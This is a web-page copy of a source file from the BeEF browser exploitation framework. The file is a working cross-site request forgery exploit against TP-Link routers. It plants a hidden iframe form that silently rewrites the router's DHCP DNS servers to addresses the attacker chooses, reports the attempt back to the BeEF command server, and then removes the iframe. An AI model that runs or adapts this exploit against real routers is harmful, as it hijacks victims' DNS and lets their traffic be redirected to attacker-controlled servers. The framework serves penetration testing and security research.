Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/router/tplink_dns_csrf/command.js
1873 views
1
//
2
// Copyright (c) 2006-2026Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
// config
10
var dhcp_start = '192.168.1.100';
11
var dhcp_end = '192.168.1.199';
12
var target = 'http://<%= @rhost %>/userRpm/LanDhcpServerRpm.htm';
13
var dns1 = '<%= @dns1 %>';
14
var dns2 = '<%= @dns2 %>';
15
var timeout = 15;
16
17
// validate DNS server IP addresses
18
if (!beef.net.is_valid_ip(dns1)) {
19
beef.debug('Invalid Primary DNS server IP address was provided');
20
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
21
return;
22
}
23
if (!beef.net.is_valid_ip(dns2)) {
24
beef.debug('Invalid Secondary DNS server IP address was provided');
25
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
26
return;
27
}
28
29
// change DNS
30
var tplink_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
31
{'type':'hidden', 'name':'dhcpserver', 'value':'1'},
32
{'type':'hidden', 'name':'ip1', 'value':dhcp_start},
33
{'type':'hidden', 'name':'ip2', 'value':dhcp_end},
34
{'type':'hidden', 'name':'Lease', 'value':'120'},
35
{'type':'hidden', 'name':'gateway', 'value':'0.0.0.0'},
36
{'type':'hidden', 'name':'domain', 'value':''},
37
{'type':'hidden', 'name':'dnsserver', 'value':dns1},
38
{'type':'hidden', 'name':'dnsserver2', 'value':dns2},
39
{'type':'hidden', 'name':'Save', 'value': unescape('%B1%A3+%B4%E6')}
40
]);
41
42
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
43
44
// clean up
45
cleanup = function() {
46
document.body.removeChild(tplink_iframe_<%= @command_id %>);
47
}
48
setTimeout("cleanup()", timeout*1000);
49
50
});
51
52
53